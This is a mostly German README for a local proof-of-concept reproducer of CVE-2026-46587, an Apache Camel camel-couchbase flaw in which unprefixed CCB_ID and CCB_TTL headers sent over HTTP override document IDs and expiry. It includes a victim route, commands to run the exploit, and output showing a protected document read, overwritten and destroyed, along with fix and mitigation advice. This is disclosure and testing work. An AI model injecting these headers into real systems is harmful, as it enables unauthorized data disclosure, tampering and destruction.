
Reproducer for CVE-2026-46587: Apache Camel camel-couchbase CCB_* header injection enabling document disclosure, tampering, and TTL-forced data destruction (fixed in 4.14.8/4.18.3/4.21.0)
CCB_* Header-Injection-Reproducer (CVE-2026-46587)Dieses Projekt demonstriert eine Message-Header-Injection in der Apache-Camel-Komponente camel-couchbase, die als CVE-2026-46587 verfolgt wird. Die Komponente liest mehrere Exchange-Header, um ihr Verhalten zu steuern — CCB_KEY (Dokumentschlüssel), CCB_ID (Dokument-ID), CCB_TTL (Dokumentablauf), CCB_DDN (Name des Entwurfsdokuments) und CCB_VN (Ansichtsname). Die Zeichenfolgenwerte dieser Header-Konstanten (definiert in CouchbaseConstants) sind einfache, unpräfixierte Namen, und nicht die Camel-präfixierten Namen, die jede andere Komponente verwendet (z.B. CamelSqlQuery). Camels eingehender HttpHeaderFilterStrategy blockiert nur Header-Namen, die mit Camel / camel beginnen, sodass diese Namen unverändert durch den eingehenden Filter gelangen. Wenn eine Route einen HTTP-Einstiegspunkt (z.B. platform-http) vor einem Couchbase-Producer bereitstellt, kann ein nicht vertrauenswürdiger HTTP-Client diese Header direkt setzen und die vom Routenautor konfigurierte Dokument-ID, TTL, den Namen des Entwurfsdokuments oder den Ansichtsnamen überschreiben.
Dieser PoC zeigt drei verschiedene Auswirkungen des einen Fehlers:
CCB_ID liest ein Dokument außerhalb des Bereichs des Aufrufers.CCB_ID bei einem Schreibvorgang überschreibt ein geschütztes Dokument.CCB_TTL=1 zwingt das eigene Dokument des Aufrufers zur stillen Selbstzerstörung.Advisory: https://camel.apache.org/security/CVE-2026-46587.html
Dieselbe Header-Injection-Familie wie CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 und CVE-2026-47323. Der Fix teilt sich seinen PR mit dem Schwester-Advisory CVE-2026-46588 (camel-couchdb).
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
Der Fix (4.14.8 / 4.18.3 / 4.21.0) benennt die Werte der Header gemäß der Camel-Konvention um — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — sodass sie vom eingehenden HttpHeaderFilterStrategy blockiert werden, wie jeder andere Camel-Steuerungsheader. Die Java-Konstanten-Feldnamen bleiben unverändert.
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
Die Route setzt die Dokument-ID standardmäßig auf den eigenen Entwurf des Aufrufers und entfernt, wie dokumentierte Härtung, den Camel-Steuerungsheader-Namespace am Rand. Das hilft nicht: Die Überschreibungs-Header heißen CCB_ID / CCB_TTL, nicht CamelCouchbaseId / CamelCouchbaseTtl, daher werden sie weder von removeHeaders("Camel*") noch vom integrierten HTTP-Header-Filter entfernt — und der Producer beachtet sie.
Die Datenbank wird mit zwei Dokumenten initialisiert: user-draft (das eigene des Aufrufers) und system-config (ein sensibles Dokument, das der Endpunkt niemals offenlegen darf).
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
Die Compose-Datei initialisiert einen Couchbase-Cluster mit einem Knoten (nur KV), erstellt den Bucket
mybucketund einenappuserund startet dann die App. Ein gepunkteter Netzwerk-Alias (couchbase.cve.local) wird als Knoten-Hostname verwendet, da Couchbase kurze Hostnamen ablehnt.
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
Jede Route mit einem Couchbase-Producer, der von einem HTTP-Consumer aus erreichbar ist. Injizierbare Header: CCB_ID / CCB_KEY (Dokument-ID/Schlüssel → Lesen, Überschreiben oder Löschen beliebiger Dokumente), CCB_TTL (erzwungener Ablauf → Datenverlust) und auf der Consumer-Seite CCB_DDN / CCB_VN (Name des Entwurfsdokuments und Ansichtsnamen).
Upgrade auf 4.14.8 / 4.18.3 / 4.21.0 (Advisory PR #23228). Nach dem Fix tragen die Überschreibungs-Header das Camel-Präfix (CamelCouchbaseId, CamelCouchbaseTtl, …) und werden an der HTTP-Grenze wie jeder andere Steuerungsheader gefiltert.
Bis zum Upgrade entfernen Sie die betroffenen Header aus nicht vertrauenswürdigen eingehenden Nachrichten, bevor sie den Producer erreichen, z.B. .removeHeader("CCB_KEY"), .removeHeader("CCB_ID"), .removeHeader("CCB_TTL"), .removeHeader("CCB_DDN") und .removeHeader("CCB_VN") vor dem Couchbase-Endpunkt, oder wenden Sie eine benutzerdefinierte HeaderFilterStrategy an, die diese Namen blockiert.
Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich offengelegte und behobene Sicherheitslücke. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Genehmigung.
| Eigenschaft | Wert |
|---|
| Komponente | camel-couchbase |
| Betroffene Klasse | org.apache.camel.component.couchbase.CouchbaseProducer liest CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL") usw. |
| CWE | CWE-20: Unzureichende Eingabevalidierung |
| Auswirkung | Ein HTTP-Client setzt CCB_*-Header → überschreibt Dokument-ID / TTL / Entwurfsdokument / Ansicht → Offenlegung, Manipulation, Datenverlust |
| Voraussetzungen | Eine Route stellt einen Couchbase-Producer hinter einem HTTP-Consumer (z.B. platform-http) bereit; nicht authentifiziert, wenn der Consumer es ist |
| Betroffene Versionen | Von 4.0.0 vor 4.14.8, von 4.15.0 vor 4.18.3, von 4.19.0 vor 4.21.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| Behebung | PR apache/camel#23228 (main), zurückportiert über #23230 (4.18.x) / #23231 (4.14.x) |
| Danksagung | Yu Bao (PayPal) |